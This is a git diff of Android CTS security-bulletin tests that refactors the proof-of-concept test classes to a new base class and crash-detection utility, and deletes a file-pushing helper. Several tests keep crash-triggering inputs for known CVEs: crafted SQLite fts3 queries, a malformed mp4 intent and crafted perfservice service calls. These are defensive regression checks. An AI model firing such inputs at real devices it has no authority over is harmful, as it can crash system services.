--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_06 extends SecurityTestCase {
+public class Poc17_06 extends NonRootSecurityTestCase {
/**
* b/36392138
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
index f9309e5..52b40a6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_07 extends SecurityTestCase {
+public class Poc17_07 extends NonRootSecurityTestCase {
/**
* b/35443725
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
index dbb50bd..fdbc11f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_09 extends SecurityTestCase {
+public class Poc17_09 extends NonRootSecurityTestCase {
/**
* b/63852675
@@ -32,31 +35,39 @@
@Test
@AsbSecurityTest(cveBugId = 63852675)
public void testPocCve_2017_6983() throws Exception {
- // Error code of 139 represents segmentation fault
- assertFalse("Segfault found",
- AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
- + "INSERT INTO a values(x'efbeaddeefbeadde');"
- + "SELECT optimize(b) FROM a;\""
- , getDevice()
- )==139);
- assertFalse("Segfault found",
- AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
- + "INSERT INTO a values(x'efbeaddeefbeadde');"
- + "SELECT snippet(b) FROM a;\""
- , getDevice()
- )==139);
- assertFalse("Segfault found",
- AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
- + "INSERT INTO a values(x'efbeaddeefbeadde');"
- + "SELECT offsets(b) FROM a;\""
- , getDevice()
- )==139);
- assertFalse("Segfault found",
- AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
- + "INSERT INTO a values(x'efbeaddeefbeadde');"
- + "SELECT matchinfo(b) FROM a;\""
- , getDevice()
- )==139);
+ // Error code of 139 represents segmentation fault
+ assertFalse(
+ "Segfault found",
+ AdbUtils.runCommandGetExitCode(
+ "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+ + "INSERT INTO a values(x'efbeaddeefbeadde');"
+ + "SELECT optimize(b) FROM a;\"",
+ getDevice())
+ == 139);
+ assertFalse(
+ "Segfault found",
+ AdbUtils.runCommandGetExitCode(
+ "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+ + "INSERT INTO a values(x'efbeaddeefbeadde');"
+ + "SELECT snippet(b) FROM a;\"",
+ getDevice())
+ == 139);
+ assertFalse(
+ "Segfault found",
+ AdbUtils.runCommandGetExitCode(
+ "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+ + "INSERT INTO a values(x'efbeaddeefbeadde');"
+ + "SELECT offsets(b) FROM a;\"",
+ getDevice())
+ == 139);
+ assertFalse(
+ "Segfault found",
+ AdbUtils.runCommandGetExitCode(
+ "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+ + "INSERT INTO a values(x'efbeaddeefbeadde');"
+ + "SELECT matchinfo(b) FROM a;\"",
+ getDevice())
+ == 139);
}
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index 1686561..ca50ea8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -16,15 +16,19 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_11 extends SecurityTestCase {
+public class Poc17_11 extends NonRootSecurityTestCase {
/**
* b/36075131
@@ -32,13 +36,14 @@
@Test
@AsbSecurityTest(cveBugId = 36075131)
public void testPocCVE_2017_0859() throws Exception {
- AdbUtils.runCommandLine("logcat -c", getDevice());
AdbUtils.pushResource("/cve_2017_0859.mp4", "/sdcard/cve_2017_0859.mp4", getDevice());
- AdbUtils.runCommandLine("am start -a android.intent.action.VIEW " +
- "-d file:///sdcard/cve_2017_0859.mp4" +
- " -t audio/amr", getDevice());
- // Wait for intent to be processed before checking logcat
- Thread.sleep(5000);
- AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
+ TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("mediaserver");
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+ AdbUtils.runCommandLine("am start -a android.intent.action.VIEW " +
+ "-d file:///sdcard/cve_2017_0859.mp4" +
+ " -t audio/amr", getDevice());
+ // Wait for intent to be processed before checking logcat
+ Thread.sleep(5000);
+ }
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 160ec27..f63f34f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_12 extends SecurityTestCase {
+public class Poc17_12 extends NonRootSecurityTestCase {
/**
* b/38045794
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
index 1730fef..b27efff 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_02 extends SecurityTestCase {
+public class Poc18_02 extends NonRootSecurityTestCase {
/**
* b/68953950
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
index 0899f28..f7a9519 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_03 extends SecurityTestCase {
+public class Poc18_03 extends NonRootSecurityTestCase {
/**
* b/71389378
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
index 17ada80..7a4fd54 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_04 extends SecurityTestCase {
+public class Poc18_04 extends NonRootSecurityTestCase {
/**
* b/69683251
* Does not require root but must be a hostside test to avoid
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
index 320f997..9b1830d9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_05 extends SecurityTestCase {
+public class Poc18_05 extends NonRootSecurityTestCase {
/**
* b/70721937
* Does not require root but must be a hostside test to avoid a race
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
index 63cdf56..236865e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_06 extends SecurityTestCase {
+public class Poc18_06 extends NonRootSecurityTestCase {
/**
* CVE-2018-5884
@@ -35,9 +38,11 @@
String wfd_service = AdbUtils.runCommandLine(
"pm list package com.qualcomm.wfd.service", getDevice());
if (wfd_service.contains("com.qualcomm.wfd.service")) {
- String result = AdbUtils.runCommandLine(
- "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei format 3 --ei value 32",
- getDevice());
+ String result =
+ AdbUtils.runCommandLine(
+ "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei"
+ + " format 3 --ei value 32",
+ getDevice());
assertNotMatchesMultiLine("Broadcast completed", result);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
index 1147658..ce3ee4d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_07 extends SecurityTestCase {
+public class Poc18_07 extends NonRootSecurityTestCase {
/**
* b/76221123
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index a8b9050..3e0cc2d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_10 extends SecurityTestCase {
+public class Poc18_10 extends NonRootSecurityTestCase {
/**
* b/111641492
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
index e6ca50b..8f00629 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_11 extends SecurityTestCase {
+public class Poc18_11 extends NonRootSecurityTestCase {
/**
* b/113027383
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 1e56873..dab2066 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_03 extends SecurityTestCase {
+public class Poc19_03 extends NonRootSecurityTestCase {
/**
* b/115739809
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
index a22fc97..f9f8b7c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_05 extends SecurityTestCase {
+public class Poc19_05 extends NonRootSecurityTestCase {
/**
* CVE-2019-2257
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
index 71cb84d..791b8b45 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_07 extends SecurityTestCase {
+public class Poc19_07 extends NonRootSecurityTestCase {
/**
* Bug-137878930
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
index 5a8f4d7..b029aa6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
@@ -1,14 +1,17 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_01 extends SecurityTestCase {
+public class Poc20_01 extends NonRootSecurityTestCase {
/**
* CVE-2019-14002
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
index 5b9bb22..72e7b96 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_03 extends SecurityTestCase {
+public class Poc20_03 extends NonRootSecurityTestCase {
/**
* b/147882143
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
index 6ed83c1..32d8251 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -16,15 +16,20 @@
package android.security.cts;
+import static org.junit.Assert.*;
+import static org.junit.Assume.assumeTrue;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_06 extends SecurityTestCase {
+public class Poc20_06 extends NonRootSecurityTestCase {
/**
* CVE-2020-3635
@@ -33,13 +38,11 @@
@AsbSecurityTest(cveBugId = 148817146)
public void testPocCVE_2020_3635() throws Exception {
String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
- if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
- AdbUtils.runCommandLine("logcat -c", getDevice());
+ assumeTrue(isApplicable.contains("com.qualcomm.qti.IPerfManager"));
+ TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("perfservice");
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
AdbUtils.runCommandLine(
"service call vendor.perfservice 4 i32 1 i64 4702394920265069920", getDevice());
- String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine(
- "Fatal signal 11 \\(SIGSEGV\\).*?>>> /system/bin/perfservice <<<", logcatOut);
}
}
@@ -76,11 +79,11 @@
@AsbSecurityTest(cveBugId = 152310294)
public void testPocCVE_2020_3676() throws Exception {
String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
- if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
- AdbUtils.runCommandLine("logcat -c", getDevice());
+ assumeTrue(isApplicable.contains("com.qualcomm.qti.IPerfManager"));
+ TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("perfservice");
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
AdbUtils.runCommandLine(
"service call vendor.perfservice 4 i32 2442302356 i64 -2", getDevice());
- AdbUtils.assertNoCrashes(getDevice(), "perfservice");
}
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
index bd2a761..86c1a1f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
@@ -16,16 +16,18 @@
package android.security.cts;
+import static org.junit.Assume.assumeFalse;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_11 extends SecurityTestCase {
+public class Poc20_11 extends NonRootSecurityTestCase {
/**
* b/162741784
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
index e555700..ccff621 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
@@ -17,15 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc21_01 extends SecurityTestCase {
+public class Poc21_01 extends NonRootSecurityTestCase {
/**
* b/168211968
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
deleted file mode 100644
index 07f45db..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.util.HashSet;
-import java.util.Iterator;
-import java.util.Set;
-import java.io.File;
-import java.io.FileNotFoundException;
-
-import org.junit.runner.Description;
-import org.junit.rules.TestWatcher;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.IAbi;
-
-import static org.junit.Assume.*;
-import static org.junit.Assert.*;
-
-public class PocPusher extends TestWatcher {
- private ITestDevice device = null;
- private CompatibilityBuildHelper buildHelper = null;
- private IAbi abi = null;
-
- private Set<String> filesToCleanup = new HashSet();
- public boolean bitness32 = true;
- public boolean bitness64 = true;
- public boolean appendBitness = true;
- public boolean cleanup = true;
-
- @Override
- protected void starting(Description d) {
- bothBitness();
- appendBitness = true;
- cleanup = true;
- }
-
- @Override
- protected void finished(Description d) {
- for (Iterator<String> it = filesToCleanup.iterator(); it.hasNext();) {
- String file = it.next();
- try {
- CLog.i("Cleaning up %s", file);
- device.deleteFile(file);
- } catch (DeviceNotAvailableException e) {
- CLog.e("Device unavailable when cleaning up %s", file);
- continue; // try to remove next time
- }
- it.remove();
- }
- }
-
- public PocPusher setDevice(ITestDevice device) {
- this.device = device;
- return this;
- }
-
- public PocPusher setAbi(IAbi abi) {
- this.abi = abi;
- return this;
- }
-
- public PocPusher setBuild(IBuildInfo buildInfo) {
- buildHelper = new CompatibilityBuildHelper(buildInfo);
- return this;
- }
-
- public PocPusher appendBitness(boolean append) {
- this.appendBitness = append;
- return this;
- }
-
- public PocPusher cleanup(boolean cleanup) {
- this.cleanup = cleanup;
- return this;
- }
-
- public PocPusher only32() {
- bitness32 = true;
- bitness64 = false;
- return this;
- }
-
- public PocPusher only64() {
- bitness32 = false;
- bitness64 = true;
- return this;
- }
-
- public PocPusher bothBitness() {
- bitness32 = true;
- bitness64 = true;
- return this;
- }
-
- public void pushFile(String testFile, String remoteFile)
- throws FileNotFoundException, DeviceNotAvailableException {
- if (appendBitness) {
- // if neither 32 or 64, nothing would ever be pushed.
- assertTrue("bitness must be 32, 64, or both.", bitness32 || bitness64);
-
- String bitness = SecurityTestCase.getAbi(device).getBitness().trim();
-
- // 32-bit doesn't have a 64-bit compatibility layer; skipping.
- assumeFalse(bitness.equals("32") && !bitness32);
-
- // push the 32-bit file on 64-bit device if a 64-bit file doesn't exist.
- if (bitness.equals("64") && !bitness64) {
- bitness = "32";
- CLog.i("Pushing a 32-bit file onto a 64-bit device.");
- }
- testFile += bitness;
- }
- CLog.i("Pushing local: %s to remote: %s", testFile.toString(), remoteFile);
- File localFile = buildHelper.getTestFile(testFile);
- device.pushFile(localFile, remoteFile);
- if (cleanup) {
- filesToCleanup.add(remoteFile);
- }
- }
-}
